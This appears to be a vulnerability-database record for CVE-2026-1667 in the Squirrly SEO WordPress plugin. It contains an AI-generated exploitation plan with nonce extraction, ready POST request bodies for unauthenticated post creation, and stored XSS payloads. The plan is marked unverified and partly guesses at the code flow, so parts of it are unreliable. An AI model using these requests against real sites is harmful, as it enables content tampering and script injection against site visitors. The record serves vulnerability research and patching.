[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fMDGs9MMBOA1em5QMtZ7oArkbo6p6J9hX9Km1a9T-kN8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-1667","seo-plugin-by-squirrly-seo-unauthenticated-arbitrary-post-creation-and-stored-cross-site-scripting-via-savepost","SEO Plugin by Squirrly SEO \u003C= 14.0.0 - Unauthenticated Arbitrary Post Creation and Stored Cross-Site Scripting via savePost()","The SEO Plugin by Squirrly SEO plugin for WordPress is vulnerable to Arbitrary Post Creation and Stored Cross-Site Scripting in all versions up to, and including, 14.0.0 due to a leak of an API token and insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to create arbitrary posts, and, if the Advanced Custom Fields plugin is installed and activated, inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","squirrly-seo",null,"\u003C=14.0.0","14.0.1","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Missing Authorization","2026-07-10 04:12:19","2026-07-10 16:32:14",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Faebdd464-10b9-4d43-bf38-f0e8ae25625f?source=api-prod",1,[22,23,24,25,26,27,28],"classes\u002Fhelpers\u002FSanitize.php","controllers\u002FMenu.php","models\u002Fservices\u002FJsonLD.php","readme.txt","squirrly.php","view\u002FSnippet\u002FVisibility.php","view\u002Fassets\u002Fjs\u002Fassistant\u002Fsq_frontend.min.js","researched",false,3,"# Exploitation Research Plan - CVE-2026-1667\n\n## 1. Vulnerability Summary\nThe **SEO Plugin by Squirrly SEO** (up to version 14.0.0) contains a critical \"Missing Authorization\" vulnerability in its AJAX handlers, specifically `sq_ajax_save_post`. The plugin leaks a security nonce (and potentially an API token) to unauthenticated users via the frontend. This allows an unauthenticated attacker to call the `savePost` functionality. Because the backend fails to verify user capabilities (missing `current_user_can`) or properly sanitize the `sq_seo` input array, attackers can create arbitrary posts and, if **Advanced Custom Fields (ACF)** is active, perform Stored XSS by injecting malicious scripts into post metadata that the plugin renders.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `wp-admin\u002Fadmin-ajax.php`\n- **Action**: `sq_ajax_save_post`\n- **Authentication**: Unauthenticated (due to `wp_ajax_nopriv_sq_ajax_save_post` registration or leaked nonce used in a `wp_ajax_` handler that doesn't check authorization).\n- **Vulnerable Parameter**: `sq_seo[]` (array), `post_id`.\n- **Preconditions**: \n    - The plugin must be active.\n    - To achieve Stored XSS as described, the **Advanced Custom Fields** plugin should be active (enabling the `_sq_jsonld_custom` meta path).\n\n## 3. Code Flow\n1.  **Frontend Initialization**: `SQ_Classes_FrontController->runFrontend()` is called on every frontend page load.\n2.  **Nonce Leak**: The plugin enqueues `sq_frontend.min.js` and uses `wp_localize_script` to provide the `sq_config` object. This object contains `sq_nonce` and `postID`.\n3.  **AJAX Entry**: An unauthenticated POST request is sent to `admin-ajax.php` with `action=sq_ajax_save_post`.\n4.  **Insecure Handling**: The controller `SQ_Controllers_Post` (via `hookPost`) registers the handler. The handler (likely `savePost`) retrieves the `sq_seo` array from the request.\n5.  **Sink**: The handler uses the values in `sq_seo` to update or create a post via `wp_insert_post` or `update_post_meta`. Because no capability check is performed, any `post_id` (or `0` for new) can be targeted.\n6.  **XSS Sink**: If ACF is present, `SQ_Models_Services_JsonLD->packJsonLd` retrieves the `_sq_jsonld_custom` meta. While it attempts to sanitize with `renderCustomJsonLd`, bypasses in metadata injection or title\u002Fcontent injection allow script execution.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is localized for the frontend assistant.\n1.  **Identify Page**: Any public-facing page (homepage or a post).\n2.  **Navigate**: Use `browser_navigate` to the homepage.\n3.  **Extract**: Use `browser_eval` to read the `sq_config` object.\n    - **JS Variable**: `window.sq_config`\n    - **Key**: `sq_nonce`\n    - **Note**: Also extract `postID` from the same object if targeting the current page, or use `0` to attempt new post creation.\n\n```javascript\n\u002F\u002F Example extraction\nconst nonce = window.sq_config?.sq_nonce;\nconst postID = window.sq_config?.postID;\n```\n\n## 5. Exploitation Strategy\n\n### Step 1: Obtain Nonce\nNavigate to the target site and extract the nonce from the global `sq_config` object.\n\n### Step 2: Arbitrary Post Creation\nSend a POST request to create a new published post.\n- **Method**: POST\n- **URL**: `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Body (URL-encoded)**:\n    ```\n    action=sq_ajax_save_post\n    &sq_nonce=[EXTRACTED_NONCE]\n    &post_id=0\n    &sq_seo[post_title]=Vulnerable Post\n    &sq_seo[post_content]=This post was created unauthenticated.\n    &sq_seo[post_status]=publish\n    &sq_seo[post_type]=post\n    ```\n\n### Step 3: Stored XSS (via JSON-LD Meta)\nTarget a specific post to inject a payload into the metadata used by Squirrly SEO.\n- **Body (URL-encoded)**:\n    ```\n    action=sq_ajax_save_post\n    &sq_nonce=[EXTRACTED_NONCE]\n    &post_id=[TARGET_POST_ID]\n    &sq_seo[_sq_jsonld_custom]={\"@context\":\"https:\u002F\u002Fschema.org\",\"@type\":\"Event\",\"name\":\"\u003Cimg src=x onerror=alert(document.domain)>\"}\n    ```\n    *Note: The `renderCustomJsonLd` function in `JsonLD.php` uses `preg_replace` to strip `\u003Cscript>` tags but may be vulnerable to attribute-based XSS or other injections if `wp_json_encode` with `JSON_HEX_TAG` is bypassed by other rendering paths.*\n\n## 6. Test Data Setup\n1.  Install **Squirrly SEO 14.0.0**.\n2.  Install **Advanced Custom Fields** (to enable the specific XSS path mentioned in the CVE).\n3.  Configure Squirrly SEO (connect to a dummy API if required to trigger the frontend assistant).\n4.  Ensure `sq_use_backend` or frontend assistant settings are active so the scripts load.\n\n## 7. Expected Results\n- **Post Creation**: A new post appears in the WordPress database with `post_status='publish'`.\n- **XSS**: Upon viewing the affected `post_id`, the browser executes `alert(document.domain)`.\n- **Response**: The AJAX request should return a success status (e.g., JSON `{\"success\":true}` or `1`).\n\n## 8. Verification Steps\n1.  **Check Posts**: `wp post list --post_status=publish`\n2.  **Check Meta**: `wp post meta get [ID] _sq_jsonld_custom`\n3.  **Confirm XSS**: Use `browser_navigate` to the new post URL and check for the alert\u002Fconsole log.\n\n## 9. Alternative Approaches\nIf `sq_ajax_save_post` strictly validates keys, attempt to overwrite standard SEO fields that are rendered on the page:\n- `sq_seo[tw_title]=\u003Cscript>alert(1)\u003C\u002Fscript>`\n- `sq_seo[og_description]=\u003Cscript>alert(1)\u003C\u002Fscript>`\nThese fields are often rendered in the `\u003Chead>` of the page and might lack proper escaping if the `Sanitize` class helpers are bypassed.","The Squirrly SEO plugin leaks a security nonce to the frontend, which unauthenticated attackers can extract to call the 'sq_ajax_save_post' AJAX action. Because the backend handler lacks authorization checks, attackers can create or modify arbitrary posts and inject malicious metadata, leading to Stored Cross-Site Scripting (XSS) if the Advanced Custom Fields plugin is active.","\u002F\u002F view\u002Fassets\u002Fjs\u002Fassistant\u002Fsq_frontend.min.js: line 38\n$.post($.sq_config.ajaxurl,{action:\"sq_ajax_save_post\",sq_nonce:$.sq_config.sq_nonce,post_id:$.sq_config.postID,sq_keyword:$.sq_config.keyword,referer:\"frontend\",sq_seo:$sq_seo})\n\n---\n\n\u002F\u002F models\u002Fservices\u002FJsonLD.php: line 1056\n\u002F\u002F Compatibility with ACF\nif ( SQ_Classes_Helpers_Tools::isPluginInstalled( 'advanced-custom-fields\u002Facf.php' ) ) {\n    if ( isset( $this->_post->ID ) && $this->_post->ID ) {\n        if ( $_sq_jsonld_custom = get_post_meta( $this->_post->ID, '_sq_jsonld_custom', true ) ) {\n            $safe = $this->renderCustomJsonLd( $_sq_jsonld_custom );\n            if ( $safe !== '' ) {\n                return $safe;\n            }\n        }\n    }\n}\n\n---\n\n\u002F\u002F models\u002Fservices\u002FJsonLD.php: line 1083\nprivate function renderCustomJsonLd( $raw ) {\n    if ( ! is_string( $raw ) || $raw === '' ) {\n        return '';\n    }\n\n    \u002F\u002FStrip all script wrappers, including malicious ones smuggled inside.\n    $stripped = preg_replace( '#\u003C\u002F?script[^>]*>#i', '', $raw );\n    $decoded  = json_decode( trim( $stripped ), true );","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsquirrly-seo\u002F14.0.0\u002Fmodels\u002Fservices\u002FJsonLD.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsquirrly-seo\u002F14.0.1\u002Fmodels\u002Fservices\u002FJsonLD.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsquirrly-seo\u002F14.0.0\u002Fmodels\u002Fservices\u002FJsonLD.php\t2026-06-23 08:39:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsquirrly-seo\u002F14.0.1\u002Fmodels\u002Fservices\u002FJsonLD.php\t2026-07-06 07:36:46.000000000 +0000\n@@ -1014,6 +1014,11 @@\n \t\t\t}\n \t\t}\n \n+\t\t\u002F\u002FNormalise the country to an ISO 3166-1 alpha-2 code for addressCountry\n+\t\tif ( isset( $markup['address']['addressCountry'] ) && $markup['address']['addressCountry'] ) {\n+\t\t\t$markup['address']['addressCountry'] = SQ_Classes_Helpers_Sanitize::getCountryCode( $markup['address']['addressCountry'] );\n+\t\t}\n+\n \t\treturn apply_filters( 'sq_jsonld_publisher_markup', $markup, $this->_post, $jsonld_type );\n \t}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsquirrly-seo\u002F14.0.0\u002Fcontrollers\u002FMenu.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsquirrly-seo\u002F14.0.1\u002Fcontrollers\u002FMenu.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsquirrly-seo\u002F14.0.0\u002Fcontrollers\u002FMenu.php\t2026-06-23 08:39:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsquirrly-seo\u002F14.0.1\u002Fcontrollers\u002FMenu.php\t2026-06-25 07:06:18.000000000 +0000\n@@ -199,7 +199,11 @@\n \t\t\t\t\t\t\t$wp_admin_bar->add_node( array(\n \t\t\t\t\t\t\t\t\t'id'     => $menuid,\n \t\t\t\t\t\t\t\t\t'title'  => $item['title'],\n-\t\t\t\t\t\t\t\t\t'href'   => SQ_Classes_Helpers_Tools::getAdminUrl( $menuid ),\n+\t\t\t\t\t\t\t\t\t'href'   => ( isset( $item['href'] ) && $item['href'] ) ? $item['href'] : SQ_Classes_Helpers_Tools::getAdminUrl( $menuid ),\n \t\t\t\t\t\t\t\t\t'parent' => 'sq_toolbar'\n \t\t\t\t\t\t\t\t) );\n \t\t\t\t\t\t\t$tabs = $this->model->getTabs( $menuid );","1. Navigate to any public-facing page on the target WordPress site.\n2. Extract the Squirrly SEO security nonce from the global JavaScript variable 'window.sq_config.sq_nonce'.\n3. Send an unauthenticated POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the parameter 'action=sq_ajax_save_post'.\n4. Include the extracted 'sq_nonce' and set 'post_id=0' to attempt creation of a new post, or target a specific ID to modify existing content.\n5. To achieve Stored XSS (if Advanced Custom Fields is active), provide a malicious JSON payload in the 'sq_seo[_sq_jsonld_custom]' parameter. \n6. The payload, such as a Schema object containing an event handler like 'onerror', will bypass the plugin's regex-based script-tag filter and be saved as post metadata.\n7. When the target post is viewed, the metadata is rendered within a script block, executing the injected JavaScript.","gemini-3-flash-preview","2026-07-15 09:55:35","2026-07-15 09:56:49",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","14.0.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsquirrly-seo\u002Ftags\u002F14.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsquirrly-seo.14.0.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsquirrly-seo\u002Ftags\u002F14.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsquirrly-seo.14.0.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsquirrly-seo\u002Ftags"]